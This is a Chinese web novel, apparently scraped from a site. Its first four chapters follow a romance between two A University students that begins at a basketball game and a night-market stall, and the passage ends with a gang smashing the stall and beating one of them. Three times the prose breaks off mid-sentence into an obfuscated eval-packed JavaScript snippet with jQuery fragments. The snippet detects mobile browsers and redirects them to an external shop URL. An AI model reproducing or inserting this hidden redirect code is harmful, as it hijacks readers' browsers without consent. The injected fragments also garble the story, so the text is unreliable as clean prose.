《情史》
1. 星星
“帅——!”
篮球场上,穿着1号深蓝球服的男生在最后几秒踩着三分线起跳投篮,额际甩出的汗水在某一秒折射出亮眼的光。
“两分——”
柏安无比庆幸自己今天戴了眼镜,整场比赛他只看了差不多十分钟,前两分钟犹豫在这里看打球还是找个排椅坐会儿,后八分钟他的视线就没离开过蓝队的1号。
察觉到有人看自己柏安才发觉自己那声“帅”喊得太早太卖力,因为球场上刚进过球的1号也朝这边看了过来,在亮眼日光里远远畅快笑着,右手两指并拢点在额际又扬起。
“79:77!蓝队胜!”
这会儿欢呼正烈,柏安不管其他,食指和拇指扣成圈抬到嘴边吹了一声悠长响亮的口哨。
“啊啊啊白仲钺太帅了啊!”
“白仲钺——”
“他都大三了,舔颜的日子过一天少一天啊!”
“白仲钺白仲钺——!!!”
柏安毫不迟疑地在心里把周围最响的名字和1号划了等号。前面他没看,但看的这十分钟对方队只进了一个球,其他时间全是蓝队在进,而蓝队似乎都有不用商量的默契,能传的球全传给了1号,只要1号抛出去的,没有一个不进。
险胜的这两分是1号从劣势生生拉回来的。
大概是后来才上场的。
柏安看得舒服,心情都敞亮了,揣着卫衣前边的兜在路边的一溜砖上量步子。
白仲月,仲夏夜之月?
柏安边慢腾腾地走边想,个子那么高打球那么猛,名字起这么文艺范儿。
不太搭呢。
-
白仲钺和队友招呼两句,谢绝了送到跟前的饮料和水,再回头的时候站在远处的人已经不见了。
“看上哪个学妹了,”祁延从后边勾住白仲钺肩膀,半边身子都压在他背上,“哥给你打听。”
“没,”白仲钺抬胳膊在他胸膛撞了下,“就知道学妹。”
走出一段的一个男生回头喊:“老白!钱儿!晚上一起出去吃啊!群里定地方!”
白仲钺也扬声喊:“行!”
祁延空着的胳膊举高比了个“OK”,然后整个人都挂在了白仲钺身上:“我亲爱的小钺钺,快让爸爸好好抱抱,怎么就这么招人疼呢。”
“一边去吧,”白仲钺当祁延不存在似的往前走,“没事都好好练练比嘴炮管用。”
“不不不,还是抱我们小钺钺大腿最管用。”
走的时候白仲钺不经意又朝那个方向扫了一眼。
还是第一次听见有男生这么朝他喊“帅”,说“厉害”“牛”的倒是不少,基本还得带着一句粗口。
嗓门儿挺好,口哨也吹得响。
白仲钺把脚边的小石头踢开,吹了声拐着弯的口哨。
祁延跑开没几分钟,回来的时候手里拿了两瓶水,三米开外就朝白仲钺扔了一瓶。
“想谋杀我继承家产吧。”白仲钺接住,拧开灌了小半瓶。
“今天你是功臣,爸爸容忍你的小调皮,”白仲钺个子太高,胳膊搭在他肩膀上费劲,祁延手腕搁在他肩上把他往前推,“紧走两步啊大长腿,汗凉了风一吹冻死个人,嘶……”
拿换洗衣服去洗澡的时候,白仲钺在柜子里翻两把,找出件有一年没穿过的连帽白卫衣。
下午出去吃饭的时候祁延先跑了,要去接他校花。
“校花”这个名头是祁延自己给人封的,两个人在一起半年多,感情稳步发展蒸蒸日上。
都是白天一起打球的人,七个人里五个有对象,祁延和另一个男生带了女朋友,一个女朋友没来的,还有两个男生是一对,队内自产自销。
将近十个人坐了一大桌,连吃带吹的,灯忽然黑了。紧接着白仲钺就被一把蒙住眼睛,还有两个人过来一边一个把他按住了。
听见屋里的人从五开始倒数喊数,白仲钺就猜出来这架势是要干什么,象征性挣扎两下,没真的反抗。
蒙他眼睛的手撤开,“嘭”一声炸了个小礼炮,金银飘带散了一桌,蛋糕不知道先前藏在哪里,这会儿被祁延放到了白仲钺面前。
一圈人站着起哄:“万年光棍生日快乐——!”
白仲钺倚着椅子笑:“全进菜里了,是不是有病。”
“早吃好了,赶紧的,许愿切蛋糕。”
白仲钺闭起眼睛的几秒脑子里空空的,不知道许什么,最后在心里默念了一句希望爸爸妈妈身体健康。
出来的时候刚六点,一顿饭连吃带闹吃到了近十点。
带对象的各自领着对象在门口散了,白仲钺和另外两个单着的一起。都喝了酒,吹着初秋稍凉的风格外舒服,几个人在商业街上不紧不慢地走,还有个人在摊上买了份烤冷面。
“刚出来两步就吃,怎么胖不死你?”
“那晚饭这夜宵,你懂个屁。”
白仲钺慢悠悠走着,边听边笑,忽然听见熟悉的一嗓子——
“哎!那个黑格子衬衣的帅哥!你还没付钱呐!”
白仲钺顺着声音抬头,“那个黑格子衬衣的帅哥”正朝自己的方向走来,步子看着挺正常,但离这么远白仲钺都听见那声喊了,那个男的就像没听见一样继续走自己的。
远处摊上的人还是穿着下午的白卫衣,伸着脖子向这边看,但估计是一个人守摊不好追人,只远远喊了几声。
白仲钺横迈一步挡在黑格子衬衣面前:“哥们儿,你是不是忘付钱了?那边摊主好像是在叫你。”
“啊?”黑格子衬衣仰头看看白仲钺,又看了看白仲钺身边正盯着自己的两个人,顿了一下,“哦,哦,好像是,谢谢啊。”
白仲钺没动,黑格子衬衣只好往回转身,白仲钺跟上了。
“那个,”黑格子衬衣回到小摊前,“不好意思啊,我忘记付钱了,这个手串多少钱来着?”
柏安那边给两个女生找出来个毛绒手机壳,这边笑着和黑格子衬衣说:“没事儿,还有个小挂件呢,我一起给你算钱。”
“啊,忘了,”黑格子衬衣从口袋又拿出个挂件来,“这两个,多少钱?”
“一共二十七,你忘了付钱还专门回来,这么讲诚信,给便宜点,收你二五。”
白仲钺没忍住笑。
“老白,什么情况?”白仲钺旁边的人低声问他,“见义勇为啊还是认识?”
白仲钺转头看了收钱的人一眼,正对上收好钱的人冲自己露出来两颗尖尖的小虎牙。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486474|202037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“算认识,你们先回吧。”
另外两个人看那个黑格子衬衣男走了没闹事,就没多问:“行,我俩先走了。”
摊前过来了个男生买充电宝,摊后的人忙着给说容量价钱,抽空又抬头不好意思似的露了露两颗虎牙的牙尖。
这个小摊前边支了个一米多宽三米多长的台子,后边是个支起来的棚,挂着密密麻麻的手机壳、数据线、耳机、挂绳……白仲钺视线又落在台面上,除了后边挂的还摆了戒指、挂件、项链、手链……
棚子侧面还挂了帽子、围巾、袜子、鞋垫之类。
东西真不少。
买东西的走了,摊后的人又笑出两颗虎牙:“谢谢啊,我叫柏安,柏林的柏,安全的安。”
“小事,我叫——”白仲钺话在一半顿住,让开经过的一群人,朝摊子里边走了点。
“我知道,”柏安笑着接话,“白仲月。”
白仲钺习惯了别人知道自己名字,没意外:“校友?”
其实也不一定,这附近还有两所大学,都不太远,三个学校的学生串门是常事。
“对,我也是A大的,学数字媒体,大一。”
“大一?才入学没两个月就兼职?”
“多劳多得嘛,”柏安从一边弄开一个高马扎,“学长你坐。”
“不了,一会儿该关门了,你兼职到几点?”
柏安按亮手机看时间:“到十点二十,还十分钟。”
学校三十关大门,宿舍四十关楼门,十分钟之内从这儿回学校得用快步走,十分钟之内从学校大门到宿舍楼得小跑。
挤得这么紧。
“老板呢?你收摊?”
“老板一会儿过来,一般赶着差一两分钟的时候来,她收摊,我不用管这个。”
几分钟的功夫,街上人少了大半,白仲钺没说要走,柏安也没提让白仲钺先走。
白仲钺点点头,冷不防柏安在他下巴碰了下,白仲钺下意识偏头一躲,柏安收回手,递了张纸巾过来:“学长你下巴有东西,擦擦吧。”
“奶油,”白仲钺看着纸巾上的一点棕说,“谢了。”
“没事没事,学长你过生日?”
“嗯。”
柏安“哦”了一声。
十月三十。
他转身在摊上挑挑拣拣,最后拿起一个长方形的东西,然后把包装三两下拆了,手里只留下里边的项链。
是条银灰色的金属链,缀了一块两三公分的金属牌,金属牌上有颗同色的四角星,凸起一层,能看出来又不特别显眼。
柏安把项链放在手心里递出去:“不是多好的东西,一点心意,算礼物也算答谢。”
白仲钺把链子拿起来,指尖在柏安手心轻轻刮过:“你能随便拿东西?”
白仲钺的手很好看,不是普通的赏心悦目,是出现在视线里的那一秒就会夺取到注意力的好看。
柏安看着曲起的瘦长手指略微恍神,眨眨眼睛:“从工资扣就行。”
白仲钺眼里流露出不赞同,转头去看台面上被撕烂的包装。
柏安伸手又拿回来,踮脚举高手从白仲钺头顶直接套下去,把那块带着星星的铜牌摆正。
“学长生日快乐!”
2. 距离
小摊老板是个性格直爽的大姐,短到耳根的头发染成了深绿:“哟,这你同学?赶紧走吧。”
白仲钺退开几步,在那大姐看过来的时候点了点头打招呼。
“好,”柏安利索把腰间的小包解下来放在摊上,“郑姐,我拿了个项链,包装在那儿呢。”
白仲钺以为能走了,没想到柏安小跑过来说,“学长等我下,半分钟。”
看着转眼又出现在身边的柏安,白仲钺才知道柏安说的“半分钟”不是形容词。
“学长,上车!”
柏安左脚撑地,单手扶着车把,另一只手朝后指向车座。
一辆普通黑漆自行车,硬是让柏安喊出了杜卡迪雅马哈的气势。
白仲钺这两条腿跨坐在自行车后座属实憋屈,得留神抬着,累得慌。
骑出一小段柏安问他:“学长你会骑自行车吗?”
“会。”
柏安于是停了:“那换你载我吧。”
白仲钺没下车,直接扶着车把站起来从后座向前一步跨上车座,拨了下铃铛:“来。”
柏安侧坐上去,说:“好了。”
白仲钺扭过头看一眼:“这么坐?”
“嗯嗯,这边有根小铁杠,能踩着。”
“行,走了。”
骑自行车时间很足,街上还有人,白仲钺骑得不算快。
“学长,你在几号楼啊?”
“三号楼。”
“真的?我和你对楼,在四号406,学长你呢?”
“505。”
“你是单数,我们还是对面呢,说不定站在阳台就能看见你宿舍。”
白仲钺笑了笑:“我宿舍又没金子,有什么好看的。”
“好玩呗,”柏安掏出手机低头按两下,“学长我加你个好友吧,你说号码就行。”
白仲钺说完,柏安无声两秒后忽然“啊”了一声。
“怎么了?”
“没事,”柏安说,“手机黑屏了,重启一下就行。”
白仲钺“嗯”一声,感觉到车身因为后座的力道轻微地摆了摆。估计是在晃手机,白仲钺扶稳车把,嘴角带了点笑。
过了一会儿柏安又把号码重复一遍:“是这个吗?”
“是,”白仲钺有点惊讶,“听一遍就记住了?”
“只能记住这一会儿,”柏安重新搜索一遍才问,“是……我爱宝贝淮秀?”
其实是,wo愛→宝貝淮秀儿。
怎么看怎么像故意设的非主流情侣网名,说不定还有一个人叫wo愛→宝貝仲月儿。
白仲钺自己都愣了下:“啊,对。”
柏安把屏幕熄了又按开又熄了,做了好一会儿心理建设才问:“淮秀是学长女朋友吗?”
白仲钺“噗嗤”笑出声,连车子方向都跟着拐了一下:“哎你可饶了我吧,任淮秀是……哈哈……哎,我们教材《证券投资学》是他编的,前两天和舍友打赌输了改的网名。”
“哦!”柏安一下笑开,重新解锁点了好友申请,“学长你学什么专业呀?”
“企业管理。”
“企业管理还学证券投资啊?”
“不学,辅修的金融得学。”
“啊——”柏安拉长声音感叹,看着白仲钺距离自己不到二十公分的后背,顿时觉得这个背影又高大了一截。
白仲钺头像是条鱼的上半部分,白底黑笔的简笔画,看着生无可恋的,柏安把头像点开放大发现鱼眼睛的那个圆圈里写着三个小字——经济法。
虽然模糊,但看得出字很好看。
柏安把放大的鱼头保存下来:“学长你专业还学经济法吗?”
“辅修的专业要学,”白仲钺扭头扫一眼,车子稳稳当当,“你研究我头像呢?”
“啊,”柏安猛地一抬头,白仲钺已经转回头去了,柏安看着白仲钺后背被肩胛骨微微撑起的地方,说,“随手一点……是金融要学经济法吗?”
“经济管理要学。”
“……你辅修了几个专业啊?”
“就这两个,再多我就跳楼自尽了。”
柏安看着白仲钺身上和自己一个色的卫衣帽子发愣,他现在觉得白仲钺的背影高大到堪比人猿泰山。
还是别了。
柏安点开自己的资料,他高一注册的那天首次尝试西红柿炒鸡蛋获得成功,昵称到现在都是西红柿炒蛋,他想了一会儿编辑成“Moon”,又改成月亮的小图标。
好像还是太明显。
柏安又点进去,从输入法的表情里找了颗朝周围发着光的星星。
头像是以前的自拍,露着小半张脸,有点非主流。柏安打开浏览器搜“星星简笔画”,挑了个最简单的白底黑边中间没表情没颜色的五角星存图换成头像。
一气呵成。
“你平时停哪儿?”
“啊?”
白仲钺捏闸两脚撑住车,没让车身往哪边斜:“我说你的自行车,平时停在哪儿?”
柏安才发现都到宿舍楼旁边了:“停在二号楼楼后。”
二号楼已经过来了,白仲钺略向前弓身一脚撑地一脚蹬自行车,在路上划出一个半圆往回骑,没多久就在一排自行车边上停下来,柏安找空位置把自行车停了,又从筐里拿出锁把前轮锁在铁架上。
到三四号楼中间,柏安朝白仲钺挥手:“今天谢谢学长了,学长再见。”
白仲钺笑了声抬抬手:“再见,回吧。”
进宿舍的时候祁延正叼着棒棒糖打游戏,校花不让他抽烟,为了帮他戒给买了一箱棒棒糖。
白仲钺先把好友申请通过了,他平时把自己置顶当备忘录,这会儿柏安的头像和他的头像挨在一起,画风还挺和谐。
头像是星星昵称是星星,送人项链也带星星,这人这么喜欢星星?
那边弹了条消息过来:“学长好,我是柏安。”
对方知道他是谁,白仲钺也懒地多打字,回了一句“好的”就把手机放桌上去阳台洗漱,刷牙的时候从窗户往外看了会儿,仔细看竟然真的能大致看见对面宿舍楼阳台的人在干什么。
洗漱完从阳台进宿舍时祁延已经没在打游戏了,正拿着他手机,看见他进来立刻拐着调子喊:“今天谢谢学长啦~晚安~”
白仲钺拿毛巾抽他:“是不是有病。”
祁延把他手机朝他眼前一亮:“我可一个字儿没改,哎呦还学长啦,刚加上啊,哪儿来的小星星?听说你见义勇为去了,见义勇为救了颗小星星?”
床上正玩手游的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486475|202037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一男生盯着手机起哄:“哎哟老白,春天到了啊,一会儿得上刑逼供啊!”
祁延捏着嗓子又开始添火:“今天谢谢学长啦~人家好怕怕~”
白仲钺和祁延打小认识,小学认识老打架,初中不知道怎么看对眼在一块混了三年,高中考在一个学校,高二刚开学祁延跟着家里转学走了,两个人偶尔打打电话发发消息。
高考完出成绩两个人先给对方打电话报了分,好在都考得不错没差几分,志愿是商量着一起填的,从学校到专业一模一样。
一起被录进了A大企业管理专业,当时祁延还没开学就托上人走了次后门,就为了把俩人弄一个寝室。
转眼两年多,都已经大三了。
宿舍四个人都是有数的,平时玩归玩闹归闹,没谁会主动翻别人手机。白仲钺和祁延是例外,他俩就没什么避忌的,别说柏安是个男的,就算真是他谈女朋友了也没什么不能让祁延知道。
祁延还在咋呼,白仲钺直接把毛巾一扯,对着祁延脖子就去了。
柏安这会儿正躺在床上翻白仲钺的空间动态。
最新的一条在今晚,图片是被糟蹋得不像样的蛋糕,配文是【谢谢大家,蛋糕很快乐】。
四百多个赞惊得柏安目瞪口呆,下边一连串各色各样关于“生日快乐”的评论看得柏安眼花缭乱,足足划了四五下才划完。
学长的受欢迎度未免太高了点……
柏安锁屏叹口气,又深吸一口气重新开了手机。
白仲钺发动态不算太频繁,有时候几天一条,有时候一两个月一条,没什么固定内容,有球场有旅游打卡有风景有吐槽,有两张球鞋,没自拍,半年可见。
平时动态的点赞量没有生日这条这么多,基本在一二百,评论数量也没今天这么恐怖,大多二三十条,白仲钺有时候回复有时候不回复。
可见范围里最早的一条是六月十三,应该快期末了,图片拍了马哲毛概邓论三本书的封面,配文是【诚挚感激周总理话少】。
柏安乐地在床上翻了个身。
“柏安你洗漱吗?我洗完了,马上要熄灯。”
“现在就洗。”
刷牙洗脸加冲脚加起来没用五分钟,柏安站在窗户边抬头看。
505……是正对的左边这间还是右边这间?
柏安小跑到宿舍门口看对面的宿舍号,405在左边,他又跑回阳台去,那505就是右边那个。
熄灯了。
宿舍里的小台灯和一个接一个亮起来,和手机屏幕的光一起映在玻璃上。
宿舍的层高大概是3米,六层楼是18米,假设学校严格按1:1.2的比例来,那楼间距就是21.6米。
伟大的勾股定理告诉我们斜边平方等于两直边平方相加,那么475.56的算术平方根是多少呢?
反正数从一开始就是估的,柏安也不为难自己,决定四舍五入只取到小数点后一位。
躺回床上发现白仲钺给他回了消息:【客气,晚安】。
柏安没给白仲钺改备注,看着那串非主流昵称就想笑。
还能想起白仲钺清朗的笑声。
柏安发了一条动态。
“【月亮图标】-【星星图标】≈ 21.8m ”
3. 梦
A大宿舍是四人寝,上床下桌,都各在各床上倚墙坐着的时候就像是在开方桌会谈。
白仲钺首先退出会谈。
躺下了。
祁延伸出一条腿从栏杆空里蹬蹬白仲钺被子:“老白你起来啊!爸爸加星就差两局了,革命胜利需要你!”
“不打了,你找别人组。”
“我不,万一一个不靠谱我再掉下去了,好不容易打上来的,”都没睡,祁延也不消停,“大川煜子,斗地主来不来?”
姜宗川也躺下了:“不来,你俩静音,我困歇了。”
祁延“啧”了一声,和赵煜打手势,赵煜往后一指墙,意思是再拉上个隔壁的一起,祁延比了个“OK”。
宿舍有人睡觉的时候醒着的人都安静,可白仲钺不知道怎么,躺了好一会儿没睡着。
白仲钺伸手从床边栏杆上挂的筐里摸出来手机,眯眼看了看,十二点零六,祁延和赵煜那边的小台灯开着,有光,白仲钺懒得再开一个,就着这点光翻身刷手机。
其实没什么好玩的,睡不着可也什么都不想干。
白仲钺刷空间看见了条【星星图标】发的动态:“【月亮图标】-【星星图标】≈ 21.8m”。白仲钺看了一会儿,点了个赞,返回的时候想,小学弟果然是还年轻,动态一股半非主流半文艺范儿杂糅的气息。
把人备注改了,白仲钺忽然想起来柏安的两颗小虎牙,不知道算不算虎牙,以前见过的虎牙都是突出来的,柏安牙很齐。
白仲钺进浏览器搜了搜,点开几个网页才确定,柏安那两颗尖尖的牙真的不是虎牙,是尖牙。
只是长得格外尖而已。
白仲钺又搜了搜“短时间记忆”,滑几下全是短时间高效记住知识点。又退回去,想了想改成搜“短期记忆”,还真搜出来了——短期记忆,记忆的一种类型,在未经复述的条件下,信息短时间储存在大脑中,通常在5-20秒,最长不超过1分钟。
短期记忆能力估计也有强弱,他Q号是七位数,从自己说完到柏安又说一遍,隔得时间好像不止一分钟了。白仲钺随便滑几下,想起来柏安中间还和自己说了句话,又重启了手机,不是“无干扰状态”。
眼看一点多了,一早还有课,白仲钺不困也把手机放回筐里让自己闭眼睡觉。睡之前脑子里还晃过去柏安那两颗尖牙,如果咬人岂不是随便一咬就能出两个血洞?
可能是因为强迫入睡,大脑里某根神经抗议,白仲钺睡得乱七八糟,一直在做梦。
一会儿梦见自己开车进了教学楼,一会儿又梦见车变成了改装过的摩托,后来梦见自己一拧油门冲进了大森林,为了躲吃人的兔子弄丢了摩托车,最后爬上树去,刚以为暂时安全,就过来一只鹿顶断了树,两根松柏断枝顶穿了他的腰弄出两个血窟窿,他没感觉到疼,顺着两根树枝滑下来,趴在鹿背上和两只溜圆黑亮的眼睛正正对上,两根树枝还插在他两侧腰里,他的下边就贴着鹿头,又热又硬……
白仲钺直接坐起来,弓着腰往后撸了一把头发。
姜宗川推门进来,手里拎着一堆早饭,看见白仲钺下床没出声,把早饭放自己桌上,过去伸手把两个还在睡的人的被子掀了。
“啊——”祁延闭着眼嚎了一声,“今天晚上再熬夜斗地主我就是狗。”
赵煜伸手把被子盖上,嘟囔着说:“闭嘴……川川大宝贝儿,十分钟……”
姜宗川脚尖把凳子往近处一勾,掏出手机坐下:“滚你爹的。”
白仲钺从阳台进来,看样子是冲了个战斗澡,他走到姜宗川旁边拿了份早饭:“谢了。”
姜宗川看白仲钺的架势就知道是起床气没过,舌头弹了声响当回话。他和体育社的一伙人天天雷打不动地晨跑出操,除了周末都顺手把宿舍的早饭带回来,反正几个人都不挑,买什么吃什么。
弹出来白仲钺转账的消息,姜宗川滑了顺便看看时间,咬着里脊饼起来又把赵煜的被子掀了一遍。
“闻着里脊饼的味儿了,”祁延洗漱完进来,赵煜打着呵欠出去,祁延手在衣服上一擦,走到姜宗川那儿,“我闻错了?”
姜宗川摊开手里的塑料袋,往后一指白仲钺:“买了俩。”
祁延悲声控诉:“老白你竟然拿我最爱的里脊饼!”
白仲钺拿着手里剩的半个扭头瞥祁延一眼:“你吃?”
“不吃,”祁延把剩下的两份煎饼果子和粥拿了,一份放赵煜桌上,被眼神攻击了就自己嘀咕,“今儿这起床气是有点久啊。”
白仲钺早上起来总有那么一会儿低气压,基本十来分钟就能慢慢好,不会发脾气,就是不爱说话,脸上整一个挂着“别烦我”。
祁延早习惯多少年了,除掉闲得升华故意找事的时候从不在早上刚醒时搭理白仲钺。也因为有祁延,姜宗川和赵煜在一开始就对白仲钺的起床气适应飞快,毕竟这人的起床气不碍着旁人,别理他就好。
“早上就当老白不存在的默契呢?”赵煜挤了点大宝抹脸,吸管“啪”一声戳进粥里,“大川,听,爱你的声音。”
姜宗川头都没抬地玩手机:“嗯傻儿子,爸爸也爱你。”
去教学楼路上赵煜才和白仲钺说话:“老白,今天晚上出去搓一顿吧,给你补生日。”
几个人逢谁过生日必出去吃一顿,寿星请客。昨天白仲钺生日,正好和一起打球的那伙人聚餐,赵煜和姜宗川都不认识,没去。反正自己宿舍的,一顿饭推后点无所谓。
白仲钺正要答应,祁延先应了:“必须去啊,昨天那顿平摊的,老白根本没出血!”
“你们今天晚上都没事的话就今晚去,”白仲钺说,“哪天都行。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486476|202037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“那就去呗,我也没事,”姜宗川指了一下祁延,“不兴领对象的啊。”
祁延攥着手机两手一举:“不折磨你们这群单身狗,我跟校花报备一下行程。”
“艹,”姜宗川碰了白仲钺一把,“今天不是给你补生日吧,我记得你生日早过了。”
白仲钺煞有其事地点头:“不是我生日,一下想不起来是谁的了。”
“哦——”赵煜立刻跟上,“嗨,这么没记性呢,钱儿生日啊!有没有父子爱了!老规矩,晚上请客啊!”
白仲钺和姜宗川一个高一个壮,本着自我爱护的原则,祁延奔着赵煜就去了。
“祁延你个臭不要脸的就知道冲我!”
下午他们专业没课,白仲钺去上辅修,下课在群里发了消息,几个人在校门口碰头。
白仲钺没回去放包,一个黑双肩包在右边肩上挂着:“吃什么啊?”
赵煜伸手晃了晃他包,肩膀宽,没滑掉:“我们远远看见你一只手揣兜一只手拿手机单肩背个包站着,这造型简直了,就一大写的装逼。”
白仲钺把包拿下来往赵煜怀里一扔:“那你装会儿吧。”
“我去,你下午不就两节,这是背了多少书。”
赵煜戏精上身弱不禁风地往后一退,被姜宗川伸手顶住了:“有车,好好走。”
“就三本,不知道的以为我包里放了三块砖。”白仲钺说。
“差不多了,”赵煜也把包单肩挂上,没走十米就感觉包要往下掉,又摘下来挂白仲钺肩上了,“我们这种窄肩人士,防滑都不管用,唉,生命不可承受之重啊。”
沿着商业街走出去一段,白仲钺朝左拐。
祁延往周围扫了一圈,都是刚开张的小摊:“这边没什么吃饭的店吧。”
白仲钺两手都插在裤子口袋,说:“你们不是没想好吃什么吗,随便逛逛。”
“不点菜了吧,”祁延说,“火锅?”
赵煜在一边说:“还没冬天呢,到冬天总吃火锅,趁现在吃点别的呗,烧烤去不去?要不烤肉?”
白仲钺没意见,随他们定。
姜宗川说:“好像新开了个烤肉店。”
“对对对,”赵煜立刻掏出手机来,“昨天刚听隔壁说的,叫金斧部落,转发集多少赞来着打七折。”
“那吃烤肉吧,”祁延点开赵煜的分享,“六十个赞,老白,上,争取半小时够数咱们吃七折去。”
白仲钺视线在旁边一个摊停了几秒然后转发到空间:“结账之前出示截图,不用急。”
“现在的大姐们也太潮了,”赵煜跟着白仲钺看了一眼旁边的小摊,然后抓了一把自己的头发,“我也想把这玩意儿染成绿的。”
白仲钺看着秒赞的星星简笔画头像挑挑眉,锁屏笑了一声:“行啊,染。”
4. 意外
吃完七折出来时间还早,他们一起去手机店给姜宗川买了个原装充电器,赵煜看了看一边墙上的手机壳说想买,拿了几个没有看中的。
白仲钺说:“街上小摊有不少卖的,一会儿去看看。”
“行,”赵煜把手里的手机壳挂回去,“正好走走,我吃撑了。”
这会儿摊前没什么人,柏安坐下摸出来手机,顺手把眼镜摘掉放在摊上。
白仲钺在那条集赞的评论下边自己评论了一条“集够了,谢谢大家”,但赞还是到了一百多,新出现的几条评论有说让白仲钺吃完说一声好不好吃的,有说好巧自己今晚也和同学去吃饭的。
柏安是第一个点赞的人,他设了特别关心,而且刚好在看手机,其实当时想评论一条的,但是不知道评论什么。而且白仲钺看着不怎么爱回复评论,如果他评论了白仲钺不回,他得一直挂心惦记,如果白仲钺回了别人不回他,他会觉得有点尴尬,纠结了一会儿索性没评论。
刷新了下,那条让白仲钺吃完说好不好吃的评论下边多了一条白仲钺的回复,【还行】。
白仲钺回复的人是学生会的,柏安备注了【学生会-文舒冉】。
刚开学的时候A大的社团和学生会都招新,柏安看哪一个都觉得有意思,拿了一堆表,最后筛筛选选留了几个填表加好友,一共加了五个学长学姐。虽然最后柏安只进了一个社团,但好友都留在列表了,昨天看白仲钺空间的时候柏安在点赞和评论里见到了四个。
文舒冉是其中之一,隔几条就会有她的评论出现。
柏安没进学生会,只咨询的时候见过文舒冉一次,决定不进学生会和文舒冉解释原因的时候发过几条消息,交集少,但对文舒冉印象很不错,是个长直发的学姐,温柔漂亮,说话待人特别耐心,人缘非常好。
柏安在心里把两个人的名字翻来倒去地念,又想象着把两个人放在一起,脑子里忽然冒出“郎才女貌”这么个词来。
柏安皱着眉在自己脑袋上拍了一巴掌。
“啪!”
拍自己的一下和这声响重叠,柏安反应两秒才站起来:“请问……额,几位大哥,想买点什么?”
小摊前不知道什么时候来了三个男人,三四十岁,一眼看过去就是“混”和“横”的气质。为首的人穿着一件黑黄相间的花外套,压着皮夹的手上有一截龙尾巴刺青。
那个人打量了一遍柏安身后挂着的各种东西:“你老板是姓郑吧。”
“啊?”柏安眨眨眼,“不是啊,老板姓张,大哥你找他吗?他一般都十点多收摊的时候来。”
那个人皱皱眉,问柏安:“你老板男的女的?”
“男的,一个哥。”
那个人把拍在摊上的皮夹收回去,对后边的人说:“再问问。”
柏安脚趾用力到快要抽筋,见那三个人走远才长吐了口气赶紧给老板打电话,好在很快接通了:“郑姐,刚刚来了三个挺凶的男的问老板是不是姓郑,现在走了但是不知道还会不会来……”
“我说姓张,是男的。”
“那提前收摊吗?”
“姐你要不找别人过来收摊吧,万一撞见了。”
“行我等你。”
柏安有点慌,张望一圈没看见那几个人,又卖了几样东西,趁着没人来买的时候把腰上放钱的包紧了紧,然后把另一边挡在小摊和棚子中间的箱子挪开了。
万一那几个人再来,至少两边都能跑,跑到人群里应该就没事了。
柏安一边看着周围一边收了一部分东西,放好一个箱子想继续收的时候忽然看见那几个人远远过来了,柏安立刻往外走,刚拐弯就刹住了步子——另一边也有人。
“稀里哗啦”一阵响,柏安后边的棚子被豁开一个大口子,竖着的铁架被踹翻了,进来的人手里拿着根棍子,柏安被堵在中间,根本跑不了。
“大哥……”柏安后背紧贴着棚边,“你们这是……”
后边拿棍子的人没说话,转头细细看了一圈,两边的人都已经聚过来了,一共六个人,三个手里拿着东西,穿黑黄花外套的人没拿棍子,胳膊底下还是那个皮夹。
花外套把嘴里的烟在小摊上捻了,扬声喊:“看热闹散远点,伤着不包赔!”
本来就已经躲远的人群又往后退了些,这片地方只剩了一看就不好惹的六个人和中间的柏安。
花外套把皮夹抽出来,走近在柏安脸上拍了拍:“挺多小聪明,想跑?”
柏安皱皱眉,忍着没动:“哥,我就是个兼职的学生,看见你们害怕才……”
“嗯,这会儿知道害怕了,刚瞎话不是编挺利索。”
“我……没骗你,哥,”柏安指甲陷进手心里,“真的有个姓张的哥来收摊,我以为他是老板……”
“嘁,小娘们儿挺能招惹,”花外套手里的皮夹又在柏安脸上拍了下,“通风报信了?那娘们儿还来不来?”
“我没……”
“手机在身上吧,查查通话记录?”
柏安不说话了。
花外套把皮夹收了:“别把哥哥们当小孩儿糊弄,砸!”
柏安心里一跳,接着除了花外套之外的几个人都一拥而上地砸摊,有棍子的用棍子,没棍子的上手脚。
几个人砸得热火朝天,柏安余光里看见花外套拿出手机来,没人注意自己,立刻扭头就跑,没想到刚跑出去几米小腿就挨了一下。
“啊——!”
砸过来的是根撑架子的铁管,又粗又沉,柏安被这一下砸得扑在地上,小腿一阵疼得钻心,动都动不了。
“哥哥今儿心情还行,想着给你两下长个记性就算了,”花外套慢腾腾走过来把地上的铁管捡在手里,“你这一下可是自找的,不算数。”
柏安模模糊糊看见砸摊子的几个人里有两个也过来了,他眼泪哗哗往外淌,是一疼厉害了就有的反应,控制不住。柏安知道自己躲不过去了,什么话都没再说,在地上弓起身子护住了头。
揍几下,咬咬牙就捱过去了。
